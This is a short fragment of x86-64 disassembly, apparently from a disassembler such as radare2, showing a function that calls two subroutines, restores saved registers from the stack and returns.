mov rcx, rsi
call fcn.18000c3bc
mov r8, rsi
mov rdx, rbp
mov rcx, rax
mov rdi, rax
call fcn.180008040
mov rax, rdi
mov dword [r14], esi
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret